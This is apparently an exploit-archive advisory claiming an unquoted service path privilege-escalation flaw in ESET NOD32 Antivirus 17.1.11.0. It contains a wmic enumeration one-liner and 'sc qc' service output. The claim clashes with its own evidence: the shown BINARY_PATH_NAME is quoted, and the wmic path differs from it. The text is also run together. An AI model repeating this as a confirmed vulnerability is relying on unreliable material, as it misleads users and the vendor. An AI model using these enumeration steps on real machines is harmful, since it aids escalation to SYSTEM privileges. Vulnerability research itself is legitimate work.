ESET NOD32 Antivirus 17.1.11.0 Unquoted Service Path

# Exploit Title: ESET NOD32 Antivirus 17.1.11.0 - Unquoted Service Path# Exploit Author: Milad Karimi (Ex3ptionaL)# Exploit Date: 2024-04-27# Contact: [email protected]# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL# Vendor : https://www.eset.com# Version : 17.1.11.0# Tested on OS: Microsoft Windows 10 pro x64About Unquoted Service Path :==============================When a service is created whose executable path contains spaces and isn'tenclosed within quotes, leads to a vulnerability known as Unquoted ServicePath which allows a user to gain SYSTEM privileges.(only if the vulnerable service is running with SYSTEM privilege levelwhich most of the time it is).C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:\windows\\" |findstr /i /v """ESET Updater ESETServiceSvc C:\Program Files (x86)\ESET\ESETSecurity\ekrn.exeC:\>sc qc ekrn[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ekrn        TYPE               : 20  WIN32_SHARE_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"        LOAD_ORDER_GROUP   : Base        TAG                : 0        DISPLAY_NAME       : ESET Service        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem